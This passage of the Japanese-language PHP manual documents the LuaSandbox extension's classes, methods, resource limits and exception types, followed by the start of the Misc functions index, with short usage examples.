EOF;

list( $hi, $frob ) = $sandbox->loadString( $luaCode )->call();
assert( $frob->call( 4000 ) === [ 4242 ] );

// PHP-thrown LuaSandboxRuntimeError exceptions can be caught inside Lua

list( $ok, $message ) = $sandbox->loadString( 'return pcall( php.error )' )->call();
assert( !$ok );
assert( $message === 'Something is wrong' );

?>

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandbox class

(PECL luasandbox >= 1.0.0)

はじめに

The LuaSandbox class creates a Lua environment and allows for execution of Lua code.

クラス概要

LuaSandbox {
/* Constants */
const int SAMPLES = 0 ;
const int SECONDS = 1 ;
const int PERCENT = 2 ;
/* メソッド */
public callFunction ( string $name , mixed ...$args ) : array|bool
public disableProfiler ( ) : void
public enableProfiler ( float $period = 0.02 ) : bool
public getCPUUsage ( ) : float
public getMemoryUsage ( ) : int
public getPeakMemoryUsage ( ) : int
public getProfilerFunctionReport ( int $units = LuaSandbox::SECONDS ) : array
public static getVersionInfo ( ) : array
public loadBinary ( string $code , string $chunkName = '' ) : LuaSandboxFunction
public loadString ( string $code , string $chunkName = '' ) : LuaSandboxFunction
public pauseUsageTimer ( ) : bool
public registerLibrary ( string $libname , array $functions ) : void
public setCPULimit ( float|bool $limit ) : void
public setMemoryLimit ( int $limit ) : void
public unpauseUsageTimer ( ) : void
public wrapPhpFunction ( callable $function ) : LuaSandboxFunction
}

定義済み定数

LuaSandbox::SAMPLES

Used with LuaSandbox::getProfilerFunctionReport() to return timings in samples.

LuaSandbox::SECONDS

Used with LuaSandbox::getProfilerFunctionReport() to return timings in seconds.

LuaSandbox::PERCENT

Used with LuaSandbox::getProfilerFunctionReport() to return timings in percentages of the total.

目次

  • LuaSandbox::callFunction — Call a function in a Lua global variable
  • LuaSandbox::disableProfiler — Disable the profiler
  • LuaSandbox::enableProfiler — Enable the profiler.
  • LuaSandbox::getCPUUsage — Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::getMemoryUsage — Fetch the current memory usage of the Lua environment
  • LuaSandbox::getPeakMemoryUsage — Fetch the peak memory usage of the Lua environment
  • LuaSandbox::getProfilerFunctionReport — Fetch profiler data
  • LuaSandbox::getVersionInfo — Return the versions of LuaSandbox and Lua
  • LuaSandbox::loadBinary — Load a precompiled binary chunk into the Lua environment
  • LuaSandbox::loadString — Load Lua code into the Lua environment
  • LuaSandbox::pauseUsageTimer — Pause the CPU usage timer
  • LuaSandbox::registerLibrary — Register a set of PHP functions as a Lua library
  • LuaSandbox::setCPULimit — Set the CPU time limit for the Lua environment
  • LuaSandbox::setMemoryLimit — Set the memory limit for the Lua environment
  • LuaSandbox::unpauseUsageTimer — Unpause the timer paused by LuaSandbox::pauseUsageTimer
  • LuaSandbox::wrapPhpFunction — Wrap a PHP callable in a LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Call a function in a Lua global variable

  • ≪ LuaSandbox
  • LuaSandbox::disableProfiler ≫
  • PHP Manual
  • LuaSandbox
  • Call a function in a Lua global variable

LuaSandbox::callFunction

(PECL luasandbox >= 1.0.0)

LuaSandbox::callFunction — Call a function in a Lua global variable

説明

public LuaSandbox::callFunction ( string $name , mixed ...$args ) : array|bool

Calls a function in a Lua global variable.

If the name contains "." characters, the function is located via recursive table accesses, as if the name were a Lua expression.

If the variable does not exist, or is not a function, false will be returned and a warning issued.

For more information about calling Lua functions and the return values, see LuaSandboxFunction::call().

パラメータ

name

Lua variable name.

args

Arguments to the function.

返り値

Returns an array of values returned by the Lua function, which may be empty, or false in case of failure.

例

例1 Calling a Lua function

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Call Lua's string.match
$captures = $sandbox->callFunction( 'string.match', $string, $pattern );

?>

User Contributed Notes

There are no user contributed notes for this page.


Disable the profiler

  • ≪ LuaSandbox::callFunction
  • LuaSandbox::enableProfiler ≫
  • PHP Manual
  • LuaSandbox
  • Disable the profiler

LuaSandbox::disableProfiler

(PECL luasandbox >= 1.1.0)

LuaSandbox::disableProfiler — Disable the profiler

説明

public LuaSandbox::disableProfiler ( ) : void

Disables the profiler.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • LuaSandbox::enableProfiler() - Enable the profiler.
  • LuaSandbox::getProfilerFunctionReport() - Fetch profiler data

User Contributed Notes

There are no user contributed notes for this page.


Enable the profiler.

  • ≪ LuaSandbox::disableProfiler
  • LuaSandbox::getCPUUsage ≫
  • PHP Manual
  • LuaSandbox
  • Enable the profiler.

LuaSandbox::enableProfiler

(PECL luasandbox >= 1.1.0)

LuaSandbox::enableProfiler — Enable the profiler.

説明

public LuaSandbox::enableProfiler ( float $period = 0.02 ) : bool

Enables the profiler. Profiling will begin when Lua code is entered.

The profiler periodically samples the Lua environment to record the running function. Testing indicates that at least on Linux, setting a period less than 1ms will lead to a high overrun count but no performance problems.

パラメータ

period

Sampling period in seconds.

返り値

Returns a boolean indicating whether the profiler is enabled.

参考

  • LuaSandbox::disableProfiler() - Disable the profiler
  • LuaSandbox::getProfilerFunctionReport() - Fetch profiler data

User Contributed Notes

There are no user contributed notes for this page.


Fetch the current CPU time usage of the Lua environment

  • ≪ LuaSandbox::enableProfiler
  • LuaSandbox::getMemoryUsage ≫
  • PHP Manual
  • LuaSandbox
  • Fetch the current CPU time usage of the Lua environment

LuaSandbox::getCPUUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getCPUUsage — Fetch the current CPU time usage of the Lua environment

説明

public LuaSandbox::getCPUUsage ( ) : float

Fetches the current CPU time usage of the Lua environment.

This includes time spent in PHP callbacks.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current CPU time usage in seconds.

注意:

On Windows, this function always returns zero. On operating systems that do not support CLOCK_THREAD_CPUTIME_ID, such as FreeBSD and Mac OS X, this function will return the elapsed wall-clock time, not CPU time.

参考

  • LuaSandbox::getMemoryUsage() - Fetch the current memory usage of the Lua environment
  • LuaSandbox::getPeakMemoryUsage() - Fetch the peak memory usage of the Lua environment
  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Fetch the current memory usage of the Lua environment

  • ≪ LuaSandbox::getCPUUsage
  • LuaSandbox::getPeakMemoryUsage ≫
  • PHP Manual
  • LuaSandbox
  • Fetch the current memory usage of the Lua environment

LuaSandbox::getMemoryUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getMemoryUsage — Fetch the current memory usage of the Lua environment

説明

public LuaSandbox::getMemoryUsage ( ) : int

Fetches the current memory usage of the Lua environment.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current memory usage in bytes.

参考

  • LuaSandbox::getPeakMemoryUsage() - Fetch the peak memory usage of the Lua environment
  • LuaSandbox::getCPUUsage() - Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::setMemoryLimit() - Set the memory limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Fetch the peak memory usage of the Lua environment

  • ≪ LuaSandbox::getMemoryUsage
  • LuaSandbox::getProfilerFunctionReport ≫
  • PHP Manual
  • LuaSandbox
  • Fetch the peak memory usage of the Lua environment

LuaSandbox::getPeakMemoryUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getPeakMemoryUsage — Fetch the peak memory usage of the Lua environment

説明

public LuaSandbox::getPeakMemoryUsage ( ) : int

Fetches the peak memory usage of the Lua environment.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the peak memory usage in bytes.

参考

  • LuaSandbox::getMemoryUsage() - Fetch the current memory usage of the Lua environment
  • LuaSandbox::getCPUUsage() - Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::setMemoryLimit() - Set the memory limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Fetch profiler data

  • ≪ LuaSandbox::getPeakMemoryUsage
  • LuaSandbox::getVersionInfo ≫
  • PHP Manual
  • LuaSandbox
  • Fetch profiler data

LuaSandbox::getProfilerFunctionReport

(PECL luasandbox >= 1.1.0)

LuaSandbox::getProfilerFunctionReport — Fetch profiler data

説明

public LuaSandbox::getProfilerFunctionReport ( int $units = LuaSandbox::SECONDS ) : array

For a profiling instance previously started by LuaSandbox::enableProfiler(), get a report of the cost of each function.

The measurement unit used for the cost is determined by the $units parameter:

LuaSandbox::SAMPLES

Measure in number of samples.

LuaSandbox::SECONDS

Measure in seconds of CPU time.

LuaSandbox::PERCENT

Measure percentage of CPU time.

パラメータ

units

Measurement unit constant.

返り値

Returns profiler measurements, sorted in descending order, as an associative array. Keys are the Lua function names (with source file and line defined in angle brackets), values are the measurements as int or float.

注意:

On Windows, this function always returns an empty array. On operating systems that do not support CLOCK_THREAD_CPUTIME_ID, such as FreeBSD and Mac OS X, this function will report the elapsed wall-clock time, not CPU time.

例

例1 Profiling Lua code

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Start the profiler
$sandbox->enableProfiler( 0.01 );

// ... Execute some Lua code here ...

// Fetch the profiler data
$data = $sandbox->getProfilerFunctionReport();

?>

User Contributed Notes

There are no user contributed notes for this page.


Return the versions of LuaSandbox and Lua

  • ≪ LuaSandbox::getProfilerFunctionReport
  • LuaSandbox::loadBinary ≫
  • PHP Manual
  • LuaSandbox
  • Return the versions of LuaSandbox and Lua

LuaSandbox::getVersionInfo

(PECL luasandbox >= 1.6.0)

LuaSandbox::getVersionInfo — Return the versions of LuaSandbox and Lua

説明

public static LuaSandbox::getVersionInfo ( ) : array

Returns the versions of LuaSandbox and Lua.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array with two keys:

element | type | description
LuaSandbox | string | The version of the LuaSandbox extension.
Lua | string | The library name and version as defined by the LUA_RELEASE macro, for example, "Lua 5.1.5".

User Contributed Notes

There are no user contributed notes for this page.


Load a precompiled binary chunk into the Lua environment

  • ≪ LuaSandbox::getVersionInfo
  • LuaSandbox::loadString ≫
  • PHP Manual
  • LuaSandbox
  • Load a precompiled binary chunk into the Lua environment

LuaSandbox::loadBinary

(PECL luasandbox >= 1.0.0)

LuaSandbox::loadBinary — Load a precompiled binary chunk into the Lua environment

説明

public LuaSandbox::loadBinary ( string $code , string $chunkName = '' ) : LuaSandboxFunction

Loads data generated by LuaSandboxFunction::dump().

パラメータ

code

Data from LuaSandboxFunction::dump().

chunkName

Name for the loaded function.

返り値

Returns a LuaSandboxFunction.

参考

  • LuaSandbox::loadString() - Load Lua code into the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Load Lua code into the Lua environment

  • ≪ LuaSandbox::loadBinary
  • LuaSandbox::pauseUsageTimer ≫
  • PHP Manual
  • LuaSandbox
  • Load Lua code into the Lua environment

LuaSandbox::loadString

(PECL luasandbox >= 1.0.0)

LuaSandbox::loadString — Load Lua code into the Lua environment

説明

public LuaSandbox::loadString ( string $code , string $chunkName = '' ) : LuaSandboxFunction

Loads Lua code into the Lua environment.

This is the equivalent of standard Lua's loadstring() function.

パラメータ

code

Lua code.

chunkName

Name for the loaded chunk, for use in error traces.

返り値

Returns a LuaSandboxFunction which, when executed, will execute the passed $code.

例

例1 Loading code into Lua

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Load the code
$function = $sandbox->loadString(
<<<CODE
    return "Hello, world"
CODE
);

// Execute the loaded code
var_dump( $function->call() );

?>

上の例の出力は以下となります。

array(1) {
  [0]=>
  string(12) "Hello, world"
}

参考

  • LuaSandbox::registerLibrary() - Register a set of PHP functions as a Lua library
  • LuaSandbox::wrapPhpFunction() - Wrap a PHP callable in a LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Pause the CPU usage timer

  • ≪ LuaSandbox::loadString
  • LuaSandbox::registerLibrary ≫
  • PHP Manual
  • LuaSandbox
  • Pause the CPU usage timer

LuaSandbox::pauseUsageTimer

(PECL luasandbox >= 1.4.0)

LuaSandbox::pauseUsageTimer — Pause the CPU usage timer

説明

public LuaSandbox::pauseUsageTimer ( ) : bool

Pauses the CPU usage timer.

This only has effect when called from within a callback from Lua. When execution returns to Lua, the timer will be automatically unpaused. If a new call into Lua is made, the timer will be unpaused for the duration of that call.

If a PHP callback calls into Lua again with timer not paused, and then that Lua function calls into PHP again, the second PHP call will not be able to pause the timer. The logic is that even though the second PHP call would avoid counting the CPU usage against the limit, the first call still counts it.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a bool indicating whether the timer is now paused.

例

例1 Manipulating the usage timer

<?php

// create a new LuaSandbox and set a CPU limit
$sandbox = new LuaSandbox();
$sandbox->setCPULimit( 1 );

function doWait( $t ) {
    $end = microtime( true ) + $t;
    while ( microtime( true ) < $end ) {
        // waste CPU cycles
    }
}

// Register a PHP callback
$sandbox->registerLibrary( 'php', [
    'test' => function () use ( $sandbox ) {
        $sandbox->pauseUsageTimer();
        doWait( 5 );

        $sandbox->unpauseUsageTimer();
        doWait( 0.1 );
    },
    'test2' => function () use ( $sandbox ) {
        $sandbox->pauseUsageTimer();
        $sandbox->unpauseUsageTimer();
        doWait( 1.1 );
    }
] );

echo "This should not time out...\n";
$sandbox->loadString( 'php.test()' )->call();

echo "This should time out.\n";
try {
    $sandbox->loadString( 'php.test2()' )->call();
    echo "It did not?\n";
} catch ( LuaSandboxTimeoutError $ex ) {
    echo "It did! " . $ex->getMessage() . "\n";
}

?>

上の例の出力は以下となります。

This should not time out...
This should time out.
It did! The maximum execution time for this script was exceeded

参考

  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment
  • LuaSandbox::unpauseUsageTimer() - Unpause the timer paused by LuaSandbox::pauseUsageTimer

User Contributed Notes

There are no user contributed notes for this page.


Register a set of PHP functions as a Lua library

  • ≪ LuaSandbox::pauseUsageTimer
  • LuaSandbox::setCPULimit ≫
  • PHP Manual
  • LuaSandbox
  • Register a set of PHP functions as a Lua library

LuaSandbox::registerLibrary

(PECL luasandbox >= 1.0.0)

LuaSandbox::registerLibrary — Register a set of PHP functions as a Lua library

説明

public LuaSandbox::registerLibrary ( string $libname , array $functions ) : void

Registers a set of PHP functions as a Lua library, so that Lua can call the relevant PHP code.

For more information about calling Lua functions and the return values, see LuaSandboxFunction::call().

パラメータ

libname

The name of the library. In the Lua state, the global variable of this name will be set to the table of functions. If the table already exists, the new functions will be added to it.

functions

An array, where each key is a function name, and each value is a corresponding PHP callable.

返り値

値を返しません。

例

例1 Registering PHP functions to call from Lua

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Register some functions in the Lua environment

function frobnosticate( $v ) {
    return [ $v + 42 ];
}

$sandbox->registerLibrary( 'php', [
    'frobnosticate' => 'frobnosticate',
    'output' => function ( $string ) {
        echo "$string\n";
    },
    'error' => function () {
        throw new LuaSandboxRuntimeError( "Something is wrong" );
    }
] );

?>

参考

  • LuaSandbox::loadString() - Load Lua code into the Lua environment
  • LuaSandbox::wrapPhpFunction() - Wrap a PHP callable in a LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Set the CPU time limit for the Lua environment

  • ≪ LuaSandbox::registerLibrary
  • LuaSandbox::setMemoryLimit ≫
  • PHP Manual
  • LuaSandbox
  • Set the CPU time limit for the Lua environment

LuaSandbox::setCPULimit

(PECL luasandbox >= 1.0.0)

LuaSandbox::setCPULimit — Set the CPU time limit for the Lua environment

説明

public LuaSandbox::setCPULimit ( float|bool $limit ) : void

Sets the CPU time limit for the Lua environment.

If the total user and system time used by the environment after the call to this method exceeds this limit, a LuaSandboxTimeoutError exception is thrown.

Time used in PHP callbacks is included in the limit.

Setting the time limit from a callback while Lua is running causes the timer to be reset, or started if it was not already running.

注意:

On Windows, the CPU limit will be ignored. On operating systems that do not support CLOCK_THREAD_CPUTIME_ID, such as FreeBSD and Mac OS X, wall-clock time rather than CPU time will be limited.

パラメータ

limit

Limit as a float in seconds, or false for no limit.

返り値

値を返しません。

例

例1 Calling a Lua function

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// set a time limit
$sandbox->setCPULimit( 2 );

// Run Lua code
$sandbox->loadString( 'while true do end' )->call();

?>

上の例の出力は、 たとえば以下のようになります。

PHP Fatal error:  Uncaught LuaSandboxTimeoutError: The maximum execution time for this script was exceeded

参考

  • LuaSandbox::getCPUUsage() - Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::setMemoryLimit() - Set the memory limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Set the memory limit for the Lua environment

  • ≪ LuaSandbox::setCPULimit
  • LuaSandbox::unpauseUsageTimer ≫
  • PHP Manual
  • LuaSandbox
  • Set the memory limit for the Lua environment

LuaSandbox::setMemoryLimit

(PECL luasandbox >= 1.0.0)

LuaSandbox::setMemoryLimit — Set the memory limit for the Lua environment

説明

public LuaSandbox::setMemoryLimit ( int $limit ) : void

Sets the memory limit for the Lua environment.

If this limit is exceeded, a LuaSandboxMemoryError exception is thrown.

パラメータ

limit

Memory limit in bytes.

返り値

値を返しません。

例

例1 Calling a Lua function

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// set a memory limit
$sandbox->setMemoryLimit( 50 * 1024 * 1024 );

// Run Lua code
$sandbox->loadString( 'local x = "x"; while true do x = x .. x; end' )->call();

?>

上の例の出力は、 たとえば以下のようになります。

PHP Fatal error:  Uncaught LuaSandboxMemoryError: not enough memory

参考

  • LuaSandbox::getMemoryUsage() - Fetch the current memory usage of the Lua environment
  • LuaSandbox::getPeakMemoryUsage() - Fetch the peak memory usage of the Lua environment
  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Unpause the timer paused by LuaSandbox::pauseUsageTimer

  • ≪ LuaSandbox::setMemoryLimit
  • LuaSandbox::wrapPhpFunction ≫
  • PHP Manual
  • LuaSandbox
  • Unpause the timer paused by LuaSandbox::pauseUsageTimer

LuaSandbox::unpauseUsageTimer

(PECL luasandbox >= 1.4.0)

LuaSandbox::unpauseUsageTimer — Unpause the timer paused by LuaSandbox::pauseUsageTimer()

説明

public LuaSandbox::unpauseUsageTimer ( ) : void

Unpauses the timer paused by LuaSandbox::pauseUsageTimer().

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • LuaSandbox::pauseUsageTimer() - Pause the CPU usage timer
  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Wrap a PHP callable in a LuaSandboxFunction

  • ≪ LuaSandbox::unpauseUsageTimer
  • LuaSandboxFunction ≫
  • PHP Manual
  • LuaSandbox
  • Wrap a PHP callable in a LuaSandboxFunction

LuaSandbox::wrapPhpFunction

(PECL luasandbox >= 1.2.0)

LuaSandbox::wrapPhpFunction — Wrap a PHP callable in a LuaSandboxFunction

説明

public LuaSandbox::wrapPhpFunction ( callable $function ) : LuaSandboxFunction

Wraps a PHP callable in a LuaSandboxFunction, so it can be passed into Lua as an anonymous function.

The function must return either an array of values (which may be empty), or null which is equivalent to returning the empty array.

Exceptions will be raised as errors in Lua, however only LuaSandboxRuntimeError exceptions may be caught inside Lua with pcall() or xpcall().

For more information about calling Lua functions and the return values, see LuaSandboxFunction::call().

パラメータ

function

Callable to wrap.

返り値

Returns a LuaSandboxFunction.

参考

  • LuaSandbox::loadString() - Load Lua code into the Lua environment
  • LuaSandbox::registerLibrary() - Register a set of PHP functions as a Lua library

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxFunction class

(PECL luasandbox >= 1.0.0)

はじめに

Represents a Lua function, allowing it to be called from PHP.

A LuaSandboxFunction may be obtained as a return value from Lua, as a parameter
passed to a callback from Lua, or by using
LuaSandbox::wrapPhpFunction(),
LuaSandbox::loadString(), or
LuaSandbox::loadBinary().

クラス概要

LuaSandboxFunction {
/* メソッド */
public call ( string ...$args ) : array|bool
public dump ( ) : string
}

目次

  • LuaSandboxFunction::call — Call a Lua function
  • LuaSandboxFunction::__construct — Unused
  • LuaSandboxFunction::dump — Dump the function as a binary blob

User Contributed Notes

There are no user contributed notes for this page.


Call a Lua function

  • ≪ LuaSandboxFunction
  • LuaSandboxFunction::__construct ≫
  • PHP Manual
  • LuaSandboxFunction
  • Call a Lua function

LuaSandboxFunction::call

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::call — Call a Lua function

説明

public LuaSandboxFunction::call ( string ...$args ) : array|bool

Calls a Lua function.

Errors considered to be the fault of the PHP code will result in the function returning false and E_WARNING being raised, for example, a resource type being used as an argument. Lua errors will result in a LuaSandboxRuntimeError exception being thrown.

PHP and Lua types are converted as follows:

  • PHP null is Lua nil, and vice versa.

  • PHP ints and floats are converted to Lua numbers. Infinity and NAN are supported.

  • Lua numbers without a fractional part between approximately -2**53 and 2**53 are converted to PHP ints, with others being converted to PHP floats.

  • PHP bools are Lua booleans, and vice versa.

  • PHP strings are Lua strings, and vice versa.

  • Lua functions are PHP LuaSandboxFunction objects, and vice versa. General PHP callables are not supported.

  • PHP arrays are converted to Lua tables, and vice versa.

    • Note that Lua typically indexes arrays from 1, while PHP indexes arrays from 0. No adjustment is made for these differing conventions.

    • Self-referential arrays are not supported in either direction.

    • PHP references are dereferenced.

    • Lua __pairs and __ipairs are processed. __index is ignored.

    • When converting from PHP to Lua, integer keys between -2**53 and 2**53 are represented as Lua numbers. All other keys are represented as Lua strings.

    • When converting from Lua to PHP, keys other than strings and numbers will result in an error, as will collisions when converting numbers to strings or vice versa (since PHP considers things like $a[0] and $a["0"] as being equivalent).

  • All other types are unsupported and will raise an error/exception, including general PHP objects and Lua userdata and thread types.

Lua functions inherently return a list of results. So on success, this method returns an array containing all of the values returned by Lua, with int keys starting from zero. Lua may return no results, in which case an empty array is returned.

パラメータ

args

Arguments passed to the function.

返り値

Returns an array of values returned by the function, which may be empty, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Unused

  • ≪ LuaSandboxFunction::call
  • LuaSandboxFunction::dump ≫
  • PHP Manual
  • LuaSandboxFunction
  • Unused

LuaSandboxFunction::__construct

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::__construct — Unused

説明

final private LuaSandboxFunction::__construct ( )

LuaSandboxFunction are obtained as a return value from Lua,
as a parameter passed to a callback from Lua, or by using
LuaSandbox::wrapPhpFunction(),
LuaSandbox::loadString(), or
LuaSandbox::loadBinary(). They cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Dump the function as a binary blob

  • ≪ LuaSandboxFunction::__construct
  • LuaSandboxError ≫
  • PHP Manual
  • LuaSandboxFunction
  • Dump the function as a binary blob

LuaSandboxFunction::dump

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::dump — Dump the function as a binary blob

説明

public LuaSandboxFunction::dump ( ) : string

Dumps the function as a binary blob.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string that may be passed to LuaSandbox::loadBinary().

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxError class

(PECL luasandbox >= 1.0.0)

はじめに

Base class for LuaSandbox exceptions

クラス概要

LuaSandboxError extends Exception {
/* Constants */
const int RUN = 2 ;
const int SYNTAX = 3 ;
const int MEM = 4 ;
const int ERR = 5 ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

定義済み定数

LuaSandboxError::RUN

LuaSandboxError::SYNTAX

LuaSandboxError::MEM

LuaSandboxError::ERR

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxErrorError class

(PECL luasandbox >= 1.0.0)

はじめに

Exception thrown when Lua encounters an error inside an error handler.

クラス概要

LuaSandboxErrorError extends LuaSandboxFatalError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxFatalError class

(PECL luasandbox >= 1.0.0)

はじめに

Uncatchable LuaSandbox exceptions.

These may not be caught inside Lua using pcall() or xpcall().

クラス概要

LuaSandboxFatalError extends LuaSandboxError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxMemoryError class

(PECL luasandbox >= 1.0.0)

はじめに

Exception thrown when Lua cannot allocate memory.

クラス概要

LuaSandboxMemoryError extends LuaSandboxFatalError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

参考

  • LuaSandbox::setMemoryLimit()

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxRuntimeError class

(PECL luasandbox >= 1.0.0)

はじめに

Catchable LuaSandbox runtime exceptions.

These may be caught inside Lua using pcall() or xpcall().

クラス概要

LuaSandboxRuntimeError extends LuaSandboxError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxSyntaxError class

(PECL luasandbox >= 1.0.0)

はじめに

Exception thrown when Lua code cannot be parsed.

クラス概要

LuaSandboxSyntaxError extends LuaSandboxFatalError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxTimeoutError class

(PECL luasandbox >= 1.0.0)

はじめに

Exception thrown when the configured CPU time limit is exceeded.

クラス概要

LuaSandboxTimeoutError extends LuaSandboxFatalError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

参考

  • LuaSandbox::setCPULimit()

User Contributed Notes

There are no user contributed notes for this page.


その他の関数

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • その他の関数
    • connection_aborted — クライアントとの接続が切断されているかどうかを調べる
    • connection_status — 接続ステータスのビットフィールドを返す
    • constant — 定数の値を返す
    • define — 名前を指定して定数を定義する
    • defined — 指定した名前の定数が存在するかどうかを調べる
    • die — exit と同等
    • eval — 文字列を PHP コードとして評価する
    • exit — メッセージを出力し、現在のスクリプトを終了する
    • get_browser — ユーザーのブラウザの機能を取得する
    • __halt_compiler — コンパイラの実行を中止する
    • highlight_file — ファイルの構文ハイライト表示
    • highlight_string — 文字列の構文ハイライト表示
    • hrtime — システムの高精度な時刻を取得する
    • ignore_user_abort — クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定する
    • pack — データをバイナリ文字列にパックする
    • php_strip_whitespace — コメントと空白文字を取り除いたソースを返す
    • sapi_windows_cp_conv — 文字列のコードページを別のものに変換する
    • sapi_windows_cp_get — 現在のコードページを取得する
    • sapi_windows_cp_is_utf8 — コードページがUTF-8と互換性があるかを返す
    • sapi_windows_cp_set — 現在のプロセスのコードページを設定する
    • sapi_windows_generate_ctrl_event — CTRLイベント を別プロセスに送信する
    • sapi_windows_set_ctrl_handler — CTRLイベント のハンドラを設定したり削除したりする
    • sapi_windows_vt100_support — Windows コンソールの出力バッファに関連付けられたストリームのVT100サポート状況を取得/設定する
    • show_source — highlight_file のエイリアス
    • sleep — 実行を遅延させる
    • sys_getloadavg — システムの平均負荷を取得する
    • time_nanosleep — 秒およびナノ秒単位で実行を遅延する
    • time_sleep_until — 指定した時刻まで実行を遅延する
    • uniqid — 一意な ID を生成する
    • unpack — バイナリ文字列からデータを切り出す
    • usleep — マイクロ秒単位で実行を遅延する
  • 変更履歴

User Contributed Notes

There are no user contributed notes for this page.


はじめに

他のカテゴリには当てはまらない関数群を、こちらに収録しています。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Misc の設定オプション
